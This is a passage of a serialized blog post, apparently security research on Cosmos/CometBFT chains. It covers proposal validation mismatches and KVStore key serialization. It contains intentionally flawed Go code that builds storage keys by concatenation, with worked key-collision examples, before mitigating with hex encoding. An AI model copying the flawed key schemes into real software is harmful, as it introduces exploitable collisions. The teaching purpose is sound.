json",{"type":26,"tag":475,"props":84106,"children":84107},{"style":499},[84108],{"type":32,"value":353},{"type":26,"tag":475,"props":84110,"children":84111},{"style":493},[84112],{"type":32,"value":84113},"Marshal",{"type":26,"tag":475,"props":84115,"children":84116},{"style":499},[84117],{"type":32,"value":626},{"type":26,"tag":475,"props":84119,"children":84120},{"style":2375},[84121],{"type":32,"value":83771},{"type":26,"tag":475,"props":84123,"children":84124},{"style":499},[84125],{"type":32,"value":353},{"type":26,"tag":475,"props":84127,"children":84128},{"style":2375},[84129],{"type":32,"value":84026},{"type":26,"tag":475,"props":84131,"children":84132},{"style":499},[84133],{"type":32,"value":647},{"type":26,"tag":475,"props":84135,"children":84136},{"class":477,"line":744},[84137,84141,84145,84149,84153],{"type":26,"tag":475,"props":84138,"children":84139},{"style":586},[84140],{"type":32,"value":58493},{"type":26,"tag":475,"props":84142,"children":84143},{"style":2375},[84144],{"type":32,"value":48214},{"type":26,"tag":475,"props":84146,"children":84147},{"style":714},[84148],{"type":32,"value":64079},{"type":26,"tag":475,"props":84150,"children":84151},{"style":482},[84152],{"type":32,"value":81540},{"type":26,"tag":475,"props":84154,"children":84155},{"style":499},[84156],{"type":32,"value":579},{"type":26,"tag":475,"props":84158,"children":84159},{"class":477,"line":753},[84160,84165,84169,84174,84178,84182,84186,84191,84195,84200,84204,84208],{"type":26,"tag":475,"props":84161,"children":84162},{"style":2375},[84163],{"type":32,"value":84164}," h",{"type":26,"tag":475,"props":84166,"children":84167},{"style":499},[84168],{"type":32,"value":353},{"type":26,"tag":475,"props":84170,"children":84171},{"style":2375},[84172],{"type":32,"value":84173},"logger",{"type":26,"tag":475,"props":84175,"children":84176},{"style":499},[84177],{"type":32,"value":353},{"type":26,"tag":475,"props":84179,"children":84180},{"style":493},[84181],{"type":32,"value":37092},{"type":26,"tag":475,"props":84183,"children":84184},{"style":499},[84185],{"type":32,"value":626},{"type":26,"tag":475,"props":84187,"children":84188},{"style":629},[84189],{"type":32,"value":84190},"\"failed to marshal extended votes\"",{"type":26,"tag":475,"props":84192,"children":84193},{"style":499},[84194],{"type":32,"value":637},{"type":26,"tag":475,"props":84196,"children":84197},{"style":629},[84198],{"type":32,"value":84199},"\"err\"",{"type":26,"tag":475,"props":84201,"children":84202},{"style":499},[84203],{"type":32,"value":637},{"type":26,"tag":475,"props":84205,"children":84206},{"style":2375},[84207],{"type":32,"value":48113},{"type":26,"tag":475,"props":84209,"children":84210},{"style":499},[84211],{"type":32,"value":647},{"type":26,"tag":475,"props":84213,"children":84214},{"class":477,"line":761},[84215,84219,84223,84227],{"type":26,"tag":475,"props":84216,"children":84217},{"style":586},[84218],{"type":32,"value":60420},{"type":26,"tag":475,"props":84220,"children":84221},{"style":482},[84222],{"type":32,"value":81540},{"type":26,"tag":475,"props":84224,"children":84225},{"style":499},[84226],{"type":32,"value":637},{"type":26,"tag":475,"props":84228,"children":84229},{"style":2375},[84230],{"type":32,"value":83261},{"type":26,"tag":475,"props":84232,"children":84233},{"class":477,"line":770},[84234],{"type":26,"tag":475,"props":84235,"children":84236},{"style":499},[84237],{"type":32,"value":741},{"type":26,"tag":475,"props":84239,"children":84240},{"class":477,"line":794},[84241],{"type":26,"tag":475,"props":84242,"children":84243},{"style":714},[84244],{"type":32,"value":82140},{"type":26,"tag":475,"props":84246,"children":84247},{"class":477,"line":831},[84248],{"type":26,"tag":475,"props":84249,"children":84250},{"style":499},[84251],{"type":32,"value":750},{"type":26,"tag":475,"props":84253,"children":84254},{"class":477,"line":845},[84255,84260,84264,84268,84272,84277,84281,84286,84290,84294,84298,84302],{"type":26,"tag":475,"props":84256,"children":84257},{"style":2375},[84258],{"type":32,"value":84259}," defaultRes",{"type":26,"tag":475,"props":84261,"children":84262},{"style":499},[84263],{"type":32,"value":637},{"type":26,"tag":475,"props":84265,"children":84266},{"style":2375},[84267],{"type":32,"value":48113},{"type":26,"tag":475,"props":84269,"children":84270},{"style":714},[84271],{"type":32,"value":76045},{"type":26,"tag":475,"props":84273,"children":84274},{"style":2375},[84275],{"type":32,"value":84276}," h",{"type":26,"tag":475,"props":84278,"children":84279},{"style":499},[84280],{"type":32,"value":353},{"type":26,"tag":475,"props":84282,"children":84283},{"style":493},[84284],{"type":32,"value":84285},"defaultPrepareProposal",{"type":26,"tag":475,"props":84287,"children":84288},{"style":499},[84289],{"type":32,"value":626},{"type":26,"tag":475,"props":84291,"children":84292},{"style":2375},[84293],{"type":32,"value":19988},{"type":26,"tag":475,"props":84295,"children":84296},{"style":499},[84297],{"type":32,"value":637},{"type":26,"tag":475,"props":84299,"children":84300},{"style":2375},[84301],{"type":32,"value":83771},{"type":26,"tag":475,"props":84303,"children":84304},{"style":499},[84305],{"type":32,"value":647},{"type":26,"tag":475,"props":84307,"children":84308},{"class":477,"line":854},[84309],{"type":26,"tag":475,"props":84310,"children":84311},{"style":714},[84312],{"type":32,"value":81464},{"type":26,"tag":475,"props":84314,"children":84315},{"class":477,"line":862},[84316,84321,84325,84330,84334],{"type":26,"tag":475,"props":84317,"children":84318},{"style":2375},[84319],{"type":32,"value":84320}," proposalTxs",{"type":26,"tag":475,"props":84322,"children":84323},{"style":714},[84324],{"type":32,"value":76045},{"type":26,"tag":475,"props":84326,"children":84327},{"style":2375},[84328],{"type":32,"value":84329}," defaultRes",{"type":26,"tag":475,"props":84331,"children":84332},{"style":499},[84333],{"type":32,"value":353},{"type":26,"tag":475,"props":84335,"children":84336},{"style":2375},[84337],{"type":32,"value":84338},"Txs\n",{"type":26,"tag":475,"props":84340,"children":84341},{"class":477,"line":885},[84342,84346,84350,84354,84358],{"type":26,"tag":475,"props":84343,"children":84344},{"style":586},[84345],{"type":32,"value":2980},{"type":26,"tag":475,"props":84347,"children":84348},{"style":2375},[84349],{"type":32,"value":83841},{"type":26,"tag":475,"props":84351,"children":84352},{"style":714},[84353],{"type":32,"value":64079},{"type":26,"tag":475,"props":84355,"children":84356},{"style":482},[84357],{"type":32,"value":81540},{"type":26,"tag":475,"props":84359,"children":84360},{"style":499},[84361],{"type":32,"value":579},{"type":26,"tag":475,"props":84363,"children":84364},{"class":477,"line":913},[84365,84370,84374,84378,84383,84388,84392,84397,84401,84406,84410],{"type":26,"tag":475,"props":84366,"children":84367},{"style":2375},[84368],{"type":32,"value":84369}," proposalTxs",{"type":26,"tag":475,"props":84371,"children":84372},{"style":714},[84373],{"type":32,"value":2383},{"type":26,"tag":475,"props":84375,"children":84376},{"style":493},[84377],{"type":32,"value":77325},{"type":26,"tag":475,"props":84379,"children":84380},{"style":499},[84381],{"type":32,"value":84382},"([][]",{"type":26,"tag":475,"props":84384,"children":84385},{"style":505},[84386],{"type":32,"value":84387},"byte",{"type":26,"tag":475,"props":84389,"children":84390},{"style":499},[84391],{"type":32,"value":76247},{"type":26,"tag":475,"props":84393,"children":84394},{"style":2375},[84395],{"type":32,"value":84396},"injection",{"type":26,"tag":475,"props":84398,"children":84399},{"style":499},[84400],{"type":32,"value":76266},{"type":26,"tag":475,"props":84402,"children":84403},{"style":2375},[84404],{"type":32,"value":84405},"proposalTxs",{"type":26,"tag":475,"props":84407,"children":84408},{"style":714},[84409],{"type":32,"value":9300},{"type":26,"tag":475,"props":84411,"children":84412},{"style":499},[84413],{"type":32,"value":647},{"type":26,"tag":475,"props":84415,"children":84416},{"class":477,"line":926},[84417,84422,84426,84430,84434,84438,84442,84447,84451,84456,84460,84464,84468,84472],{"type":26,"tag":475,"props":84418,"children":84419},{"style":2375},[84420],{"type":32,"value":84421}," h",{"type":26,"tag":475,"props":84423,"children":84424},{"style":499},[84425],{"type":32,"value":353},{"type":26,"tag":475,"props":84427,"children":84428},{"style":2375},[84429],{"type":32,"value":84173},{"type":26,"tag":475,"props":84431,"children":84432},{"style":499},[84433],{"type":32,"value":353},{"type":26,"tag":475,"props":84435,"children":84436},{"style":493},[84437],{"type":32,"value":24411},{"type":26,"tag":475,"props":84439,"children":84440},{"style":499},[84441],{"type":32,"value":626},{"type":26,"tag":475,"props":84443,"children":84444},{"style":629},[84445],{"type":32,"value":84446},"\"injected local last commit\"",{"type":26,"tag":475,"props":84448,"children":84449},{"style":499},[84450],{"type":32,"value":637},{"type":26,"tag":475,"props":84452,"children":84453},{"style":629},[84454],{"type":32,"value":84455},"\"height\"",{"type":26,"tag":475,"props":84457,"children":84458},{"style":499},[84459],{"type":32,"value":637},{"type":26,"tag":475,"props":84461,"children":84462},{"style":2375},[84463],{"type":32,"value":83771},{"type":26,"tag":475,"props":84465,"children":84466},{"style":499},[84467],{"type":32,"value":353},{"type":26,"tag":475,"props":84469,"children":84470},{"style":2375},[84471],{"type":32,"value":83101},{"type":26,"tag":475,"props":84473,"children":84474},{"style":499},[84475],{"type":32,"value":647},{"type":26,"tag":475,"props":84477,"children":84478},{"class":477,"line":948},[84479],{"type":26,"tag":475,"props":84480,"children":84481},{"style":499},[84482],{"type":32,"value":750},{"type":26,"tag":475,"props":84484,"children":84485},{"class":477,"line":966},[84486,84490,84494,84498,84502,84506],{"type":26,"tag":475,"props":84487,"children":84488},{"style":586},[84489],{"type":32,"value":15449},{"type":26,"tag":475,"props":84491,"children":84492},{"style":714},[84493],{"type":32,"value":6854},{"type":26,"tag":475,"props":84495,"children":84496},{"style":505},[84497],{"type":32,"value":83780},{"type":26,"tag":475,"props":84499,"children":84500},{"style":499},[84501],{"type":32,"value":353},{"type":26,"tag":475,"props":84503,"children":84504},{"style":505},[84505],{"type":32,"value":83810},{"type":26,"tag":475,"props":84507,"children":84508},{"style":499},[84509],{"type":32,"value":10589},{"type":26,"tag":475,"props":84511,"children":84512},{"class":477,"line":979},[84513,84518,84522,84526],{"type":26,"tag":475,"props":84514,"children":84515},{"style":2375},[84516],{"type":32,"value":84517}," Txs",{"type":26,"tag":475,"props":84519,"children":84520},{"style":499},[84521],{"type":32,"value":15037},{"type":26,"tag":475,"props":84523,"children":84524},{"style":2375},[84525],{"type":32,"value":84405},{"type":26,"tag":475,"props":84527,"children":84528},{"style":499},[84529],{"type":32,"value":2425},{"type":26,"tag":475,"props":84531,"children":84532},{"class":477,"line":1006},[84533,84538],{"type":26,"tag":475,"props":84534,"children":84535},{"style":499},[84536],{"type":32,"value":84537}," }, ",{"type":26,"tag":475,"props":84539,"children":84540},{"style":482},[84541],{"type":32,"value":76271},{"type":26,"tag":475,"props":84543,"children":84544},{"class":477,"line":1046},[84545],{"type":26,"tag":475,"props":84546,"children":84547},{"style":499},[84548],{"type":32,"value":851},{"type":26,"tag":475,"props":84550,"children":84551},{"class":477,"line":1068},[84552],{"type":26,"tag":475,"props":84553,"children":84554},{"style":499},[84555],{"type":32,"value":3607},{"type":26,"tag":35,"props":84557,"children":84558},{},[84559,84561,84566,84567,84572,84574,84581],{"type":32,"value":84560},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":26,"tag":53,"props":84562,"children":84564},{"className":84563},[],[84565],{"type":32,"value":82930},{"type":32,"value":2775},{"type":26,"tag":53,"props":84568,"children":84570},{"className":84569},[],[84571],{"type":32,"value":82998},{"type":32,"value":84573},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":26,"tag":116,"props":84575,"children":84578},{"href":84576,"rel":84577},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[120],[84579],{"type":32,"value":84580},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":32,"value":84582},", which will later get rejected by CometBTF.",{"type":26,"tag":27,"props":84584,"children":84586},{"id":84585},"the-keymaker",[84587],{"type":32,"value":84588},"The Keymaker",{"type":26,"tag":35,"props":84590,"children":84591},{},[84592,84594,84600,84602,84607],{"type":32,"value":84593},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":26,"tag":53,"props":84595,"children":84597},{"className":84596},[],[84598],{"type":32,"value":84599},"KVStore",{"type":32,"value":84601}," to handle states efficently. In ",{"type":26,"tag":53,"props":84603,"children":84605},{"className":84604},[],[84606],{"type":32,"value":84599},{"type":32,"value":84608},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":26,"tag":35,"props":84610,"children":84611},{},[84612],{"type":32,"value":84613},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":26,"tag":35,"props":84615,"children":84616},{},[84617,84619,84625],{"type":32,"value":84618},"Let's start by considering a scenario where we need to store the ",{"type":26,"tag":53,"props":84620,"children":84622},{"className":84621},[],[84623],{"type":32,"value":84624},"positionMap",{"type":32,"value":84626}," structure mentioned below into storage.",{"type":26,"tag":465,"props":84628,"children":84630},{"code":84629,"language":75793,"meta":7,"className":75794,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n",[84631],{"type":26,"tag":53,"props":84632,"children":84633},{"__ignoreMap":7},[84634,84650,84667,84683,84702,84717,84724,84741],{"type":26,"tag":475,"props":84635,"children":84636},{"class":477,"line":478},[84637,84641,84646],{"type":26,"tag":475,"props":84638,"children":84639},{"style":482},[84640],{"type":32,"value":32455},{"type":26,"tag":475,"props":84642,"children":84643},{"style":505},[84644],{"type":32,"value":84645}," VaultId",{"type":26,"tag":475,"props":84647,"children":84648},{"style":505},[84649],{"type":32,"value":75831},{"type":26,"tag":475,"props":84651,"children":84652},{"class":477,"line":516},[84653,84657,84662],{"type":26,"tag":475,"props":84654,"children":84655},{"style":482},[84656],{"type":32,"value":32455},{"type":26,"tag":475,"props":84658,"children":84659},{"style":505},[84660],{"type":32,"value":84661}," Username",{"type":26,"tag":475,"props":84663,"children":84664},{"style":505},[84665],{"type":32,"value":84666}," string\n",{"type":26,"tag":475,"props":84668,"children":84669},{"class":477,"line":539},[84670,84674,84679],{"type":26,"tag":475,"props":84671,"children":84672},{"style":482},[84673],{"type":32,"value":32455},{"type":26,"tag":475,"props":84675,"children":84676},{"style":505},[84677],{"type":32,"value":84678}," PositionName",{"type":26,"tag":475,"props":84680,"children":84681},{"style":505},[84682],{"type":32,"value":84666},{"type":26,"tag":475,"props":84684,"children":84685},{"class":477,"line":548},[84686,84690,84694,84698],{"type":26,"tag":475,"props":84687,"children":84688},{"style":482},[84689],{"type":32,"value":32455},{"type":26,"tag":475,"props":84691,"children":84692},{"style":505},[84693],{"type":32,"value":7137},{"type":26,"tag":475,"props":84695,"children":84696},{"style":482},[84697],{"type":32,"value":20859},{"type":26,"tag":475,"props":84699,"children":84700},{"style":499},[84701],{"type":32,"value":579},{"type":26,"tag":475,"props":84703,"children":84704},{"class":477,"line":558},[84705,84709,84713],{"type":26,"tag":475,"props":84706,"children":84707},{"style":2375},[84708],{"type":32,"value":42921},{"type":26,"tag":475,"props":84710,"children":84711},{"style":499},[84712],{"type":32,"value":75856},{"type":26,"tag":475,"props":84714,"children":84715},{"style":505},[84716],{"type":32,"value":83850},{"type":26,"tag":475,"props":84718,"children":84719},{"class":477,"line":582},[84720],{"type":26,"tag":475,"props":84721,"children":84722},{"style":499},[84723],{"type":32,"value":3607},{"type":26,"tag":475,"props":84725,"children":84726},{"class":477,"line":596},[84727,84731,84736],{"type":26,"tag":475,"props":84728,"children":84729},{"style":482},[84730],{"type":32,"value":32455},{"type":26,"tag":475,"props":84732,"children":84733},{"style":505},[84734],{"type":32,"value":84735}," PositionMap",{"type":26,"tag":475,"props":84737,"children":84738},{"style":714},[84739],{"type":32,"value":84740}," :=\n",{"type":26,"tag":475,"props":84742,"children":84743},{"class":477,"line":610},[84744,84749,84753,84758,84762,84766,84770,84775,84779,84783,84787,84792,84796],{"type":26,"tag":475,"props":84745,"children":84746},{"style":482},[84747],{"type":32,"value":84748}," map",{"type":26,"tag":475,"props":84750,"children":84751},{"style":499},[84752],{"type":32,"value":3440},{"type":26,"tag":475,"props":84754,"children":84755},{"style":505},[84756],{"type":32,"value":84757},"VaultId",{"type":26,"tag":475,"props":84759,"children":84760},{"style":499},[84761],{"type":32,"value":15117},{"type":26,"tag":475,"props":84763,"children":84764},{"style":482},[84765],{"type":32,"value":66795},{"type":26,"tag":475,"props":84767,"children":84768},{"style":499},[84769],{"type":32,"value":3440},{"type":26,"tag":475,"props":84771,"children":84772},{"style":505},[84773],{"type":32,"value":84774},"Username",{"type":26,"tag":475,"props":84776,"children":84777},{"style":499},[84778],{"type":32,"value":15117},{"type":26,"tag":475,"props":84780,"children":84781},{"style":482},[84782],{"type":32,"value":66795},{"type":26,"tag":475,"props":84784,"children":84785},{"style":499},[84786],{"type":32,"value":3440},{"type":26,"tag":475,"props":84788,"children":84789},{"style":505},[84790],{"type":32,"value":84791},"PositionName",{"type":26,"tag":475,"props":84793,"children":84794},{"style":499},[84795],{"type":32,"value":15117},{"type":26,"tag":475,"props":84797,"children":84798},{"style":505},[84799],{"type":32,"value":84800},"Position\n",{"type":26,"tag":35,"props":84802,"children":84803},{},[84804,84806,84812],{"type":32,"value":84805},"Given that there are two levels of keys in ",{"type":26,"tag":53,"props":84807,"children":84809},{"className":84808},[],[84810],{"type":32,"value":84811},"PositionMap",{"type":32,"value":84813},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":26,"tag":465,"props":84815,"children":84817},{"code":84816,"language":75793,"meta":7,"className":75794,"style":7},"storageKey := fmt.Sprintf(\n \"%d%s%s\",\n vaultId,\n username,\n positionName,\n)\n",[84818],{"type":26,"tag":53,"props":84819,"children":84820},{"__ignoreMap":7},[84821,84850,84862,84874,84886,84898],{"type":26,"tag":475,"props":84822,"children":84823},{"class":477,"line":478},[84824,84829,84833,84837,84841,84846],{"type":26,"tag":475,"props":84825,"children":84826},{"style":2375},[84827],{"type":32,"value":84828},"storageKey",{"type":26,"tag":475,"props":84830,"children":84831},{"style":714},[84832],{"type":32,"value":76045},{"type":26,"tag":475,"props":84834,"children":84835},{"style":2375},[84836],{"type":32,"value":81856},{"type":26,"tag":475,"props":84838,"children":84839},{"style":499},[84840],{"type":32,"value":353},{"type":26,"tag":475,"props":84842,"children":84843},{"style":493},[84844],{"type":32,"value":84845},"Sprintf",{"type":26,"tag":475,"props":84847,"children":84848},{"style":499},[84849],{"type":32,"value":3169},{"type":26,"tag":475,"props":84851,"children":84852},{"class":477,"line":516},[84853,84858],{"type":26,"tag":475,"props":84854,"children":84855},{"style":629},[84856],{"type":32,"value":84857}," \"%d%s%s\"",{"type":26,"tag":475,"props":84859,"children":84860},{"style":499},[84861],{"type":32,"value":2425},{"type":26,"tag":475,"props":84863,"children":84864},{"class":477,"line":539},[84865,84870],{"type":26,"tag":475,"props":84866,"children":84867},{"style":2375},[84868],{"type":32,"value":84869}," vaultId",{"type":26,"tag":475,"props":84871,"children":84872},{"style":499},[84873],{"type":32,"value":2425},{"type":26,"tag":475,"props":84875,"children":84876},{"class":477,"line":548},[84877,84882],{"type":26,"tag":475,"props":84878,"children":84879},{"style":2375},[84880],{"type":32,"value":84881}," username",{"type":26,"tag":475,"props":84883,"children":84884},{"style":499},[84885],{"type":32,"value":2425},{"type":26,"tag":475,"props":84887,"children":84888},{"class":477,"line":558},[84889,84894],{"type":26,"tag":475,"props":84890,"children":84891},{"style":2375},[84892],{"type":32,"value":84893}," positionName",{"type":26,"tag":475,"props":84895,"children":84896},{"style":499},[84897],{"type":32,"value":2425},{"type":26,"tag":475,"props":84899,"children":84900},{"class":477,"line":582},[84901],{"type":26,"tag":475,"props":84902,"children":84903},{"style":499},[84904],{"type":32,"value":647},{"type":26,"tag":35,"props":84906,"children":84907},{},[84908],{"type":32,"value":84909},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":26,"tag":465,"props":84911,"children":84913},{"code":84912},"vaultId = 1, username = \"2a\", positionName = \"b\"\n => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\", positionName = \"b\"\n => storageKey = \"12ab\"\n",[84914],{"type":26,"tag":53,"props":84915,"children":84916},{"__ignoreMap":7},[84917],{"type":32,"value":84912},{"type":26,"tag":35,"props":84919,"children":84920},{},[84921,84926],{"type":26,"tag":2615,"props":84922,"children":84923},{},[84924],{"type":32,"value":84925},"So, how can we mitigate this issue?",{"type":32,"value":84927},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":26,"tag":465,"props":84929,"children":84931},{"code":84930,"language":75793,"meta":7,"className":75794,"style":7},"const (\n Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n username,\n Seperator,\n positionName,\n)\n",[84932],{"type":26,"tag":53,"props":84933,"children":84934},{"__ignoreMap":7},[84935,84946,84963,84970,84977,85004,85016,85027,85038,85049,85060,85071],{"type":26,"tag":475,"props":84936,"children":84937},{"class":477,"line":478},[84938,84942],{"type":26,"tag":475,"props":84939,"children":84940},{"style":482},[84941],{"type":32,"value":9363},{"type":26,"tag":475,"props":84943,"children":84944},{"style":499},[84945],{"type":32,"value":78195},{"type":26,"tag":475,"props":84947,"children":84948},{"class":477,"line":516},[84949,84954,84958],{"type":26,"tag":475,"props":84950,"children":84951},{"style":2375},[84952],{"type":32,"value":84953}," Seperator",{"type":26,"tag":475,"props":84955,"children":84956},{"style":714},[84957],{"type":32,"value":2383},{"type":26,"tag":475,"props":84959,"children":84960},{"style":629},[84961],{"type":32,"value":84962}," \"|\"\n",{"type":26,"tag":475,"props":84964,"children":84965},{"class":477,"line":539},[84966],{"type":26,"tag":475,"props":84967,"children":84968},{"style":499},[84969],{"type":32,"value":647},{"type":26,"tag":475,"props":84971,"children":84972},{"class":477,"line":548},[84973],{"type":26,"tag":475,"props":84974,"children":84975},{"emptyLinePlaceholder":18},[84976],{"type":32,"value":545},{"type":26,"tag":475,"props":84978,"children":84979},{"class":477,"line":558},[84980,84984,84988,84992,84996,85000],{"type":26,"tag":475,"props":84981,"children":84982},{"style":2375},[84983],{"type":32,"value":84828},{"type":26,"tag":475,"props":84985,"children":84986},{"style":714},[84987],{"type":32,"value":76045},{"type":26,"tag":475,"props":84989,"children":84990},{"style":2375},[84991],{"type":32,"value":81856},{"type":26,"tag":475,"props":84993,"children":84994},{"style":499},[84995],{"type":32,"value":353},{"type":26,"tag":475,"props":84997,"children":84998},{"style":493},[84999],{"type":32,"value":84845},{"type":26,"tag":475,"props":85001,"children":85002},{"style":499},[85003],{"type":32,"value":3169},{"type":26,"tag":475,"props":85005,"children":85006},{"class":477,"line":582},[85007,85012],{"type":26,"tag":475,"props":85008,"children":85009},{"style":629},[85010],{"type":32,"value":85011}," \"%d%s%s%s%s\"",{"type":26,"tag":475,"props":85013,"children":85014},{"style":499},[85015],{"type":32,"value":2425},{"type":26,"tag":475,"props":85017,"children":85018},{"class":477,"line":596},[85019,85023],{"type":26,"tag":475,"props":85020,"children":85021},{"style":2375},[85022],{"type":32,"value":84869},{"type":26,"tag":475,"props":85024,"children":85025},{"style":499},[85026],{"type":32,"value":2425},{"type":26,"tag":475,"props":85028,"children":85029},{"class":477,"line":610},[85030,85034],{"type":26,"tag":475,"props":85031,"children":85032},{"style":2375},[85033],{"type":32,"value":84953},{"type":26,"tag":475,"props":85035,"children":85036},{"style":499},[85037],{"type":32,"value":2425},{"type":26,"tag":475,"props":85039,"children":85040},{"class":477,"line":650},[85041,85045],{"type":26,"tag":475,"props":85042,"children":85043},{"style":2375},[85044],{"type":32,"value":84881},{"type":26,"tag":475,"props":85046,"children":85047},{"style":499},[85048],{"type":32,"value":2425},{"type":26,"tag":475,"props":85050,"children":85051},{"class":477,"line":679},[85052,85056],{"type":26,"tag":475,"props":85053,"children":85054},{"style":2375},[85055],{"type":32,"value":84953},{"type":26,"tag":475,"props":85057,"children":85058},{"style":499},[85059],{"type":32,"value":2425},{"type":26,"tag":475,"props":85061,"children":85062},{"class":477,"line":735},[85063,85067],{"type":26,"tag":475,"props":85064,"children":85065},{"style":2375},[85066],{"type":32,"value":84893},{"type":26,"tag":475,"props":85068,"children":85069},{"style":499},[85070],{"type":32,"value":2425},{"type":26,"tag":475,"props":85072,"children":85073},{"class":477,"line":744},[85074],{"type":26,"tag":475,"props":85075,"children":85076},{"style":499},[85077],{"type":32,"value":647},{"type":26,"tag":35,"props":85079,"children":85080},{},[85081],{"type":32,"value":85082},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":26,"tag":35,"props":85084,"children":85085},{},[85086,85088,85094,85095,85101],{"type":32,"value":85087},"Sadly, it doesn't. Since the ",{"type":26,"tag":53,"props":85089,"children":85091},{"className":85090},[],[85092],{"type":32,"value":85093},"username",{"type":32,"value":209},{"type":26,"tag":53,"props":85096,"children":85098},{"className":85097},[],[85099],{"type":32,"value":85100},"vaultName",{"type":32,"value":85102}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":26,"tag":465,"props":85104,"children":85106},{"code":85105},"vaultId = 1, username = \"a|\", positionName = \"b\"\n => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\", positionName = \"|b\"\n => storageKey = \"1|a||b\"\n",[85107],{"type":26,"tag":53,"props":85108,"children":85109},{"__ignoreMap":7},[85110],{"type":32,"value":85105},{"type":26,"tag":35,"props":85112,"children":85113},{},[85114],{"type":32,"value":85115},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":26,"tag":465,"props":85117,"children":85119},{"code":85118,"language":75793,"meta":7,"className":75794,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded\n)\n",[85120],{"type":26,"tag":53,"props":85121,"children":85122},{"__ignoreMap":7},[85123,85134,85149,85156,85163,85170,85191,85207,85245,85252,85289,85296,85316,85331,85367,85374,85409,85416,85443,85454,85465,85476,85488,85499,85507],{"type":26,"tag":475,"props":85124,"children":85125},{"class":477,"line":478},[85126,85130],{"type":26,"tag":475,"props":85127,"children":85128},{"style":482},[85129],{"type":32,"value":9363},{"type":26,"tag":475,"props":85131,"children":85132},{"style":499},[85133],{"type":32,"value":78195},{"type":26,"tag":475,"props":85135,"children":85136},{"class":477,"line":516},[85137,85141,85145],{"type":26,"tag":475,"props":85138,"children":85139},{"style":2375},[85140],{"type":32,"value":84953},{"type":26,"tag":475,"props":85142,"children":85143},{"style":714},[85144],{"type":32,"value":2383},{"type":26,"tag":475,"props":85146,"children":85147},{"style":629},[85148],{"type":32,"value":84962},{"type":26,"tag":475,"props":85150,"children":85151},{"class":477,"line":539},[85152],{"type":26,"tag":475,"props":85153,"children":85154},{"style":499},[85155],{"type":32,"value":647},{"type":26,"tag":475,"props":85157,"children":85158},{"class":477,"line":548},[85159],{"type":26,"tag":475,"props":85160,"children":85161},{"emptyLinePlaceholder":18},[85162],{"type":32,"value":545},{"type":26,"tag":475,"props":85164,"children":85165},{"class":477,"line":558},[85166],{"type":26,"tag":475,"props":85167,"children":85168},{"emptyLinePlaceholder":18},[85169],{"type":32,"value":545},{"type":26,"tag":475,"props":85171,"children":85172},{"class":477,"line":582},[85173,85178,85182,85187],{"type":26,"tag":475,"props":85174,"children":85175},{"style":2375},[85176],{"type":32,"value":85177},"usernameEncoded",{"type":26,"tag":475,"props":85179,"children":85180},{"style":714},[85181],{"type":32,"value":76045},{"type":26,"tag":475,"props":85183,"children":85184},{"style":493},[85185],{"type":32,"value":85186}," make",{"type":26,"tag":475,"props":85188,"children":85189},{"style":499},[85190],{"type":32,"value":3169},{"type":26,"tag":475,"props":85192,"children":85193},{"class":477,"line":596},[85194,85199,85203],{"type":26,"tag":475,"props":85195,"children":85196},{"style":499},[85197],{"type":32,"value":85198}," []",{"type":26,"tag":475,"props":85200,"children":85201},{"style":505},[85202],{"type":32,"value":84387},{"type":26,"tag":475,"props":85204,"children":85205},{"style":499},[85206],{"type":32,"value":2425},{"type":26,"tag":475,"props":85208,"children":85209},{"class":477,"line":610},[85210,85215,85219,85224,85228,85232,85236,85240],{"type":26,"tag":475,"props":85211,"children":85212},{"style":2375},[85213],{"type":32,"value":85214}," hex",{"type":26,"tag":475,"props":85216,"children":85217},{"style":499},[85218],{"type":32,"value":353},{"type":26,"tag":475,"props":85220,"children":85221},{"style":493},[85222],{"type":32,"value":85223},"EncodedLen",{"type":26,"tag":475,"props":85225,"children":85226},{"style":499},[85227],{"type":32,"value":626},{"type":26,"tag":475,"props":85229,"children":85230},{"style":493},[85231],{"type":32,"value":8849},{"type":26,"tag":475,"props":85233,"children":85234},{"style":499},[85235],{"type":32,"value":626},{"type":26,"tag":475,"props":85237,"children":85238},{"style":2375},[85239],{"type":32,"value":85093},{"type":26,"tag":475,"props":85241,"children":85242},{"style":499},[85243],{"type":32,"value":85244},")),\n",{"type":26,"tag":475,"props":85246,"children":85247},{"class":477,"line":650},[85248],{"type":26,"tag":475,"props":85249,"children":85250},{"style":499},[85251],{"type":32,"value":647},{"type":26,"tag":475,"props":85253,"children":85254},{"class":477,"line":679},[85255,85260,85264,85269,85273,85277,85281,85285],{"type":26,"tag":475,"props":85256,"children":85257},{"style":2375},[85258],{"type":32,"value":85259},"hex",{"type":26,"tag":475,"props":85261,"children":85262},{"style":499},[85263],{"type":32,"value":353},{"type":26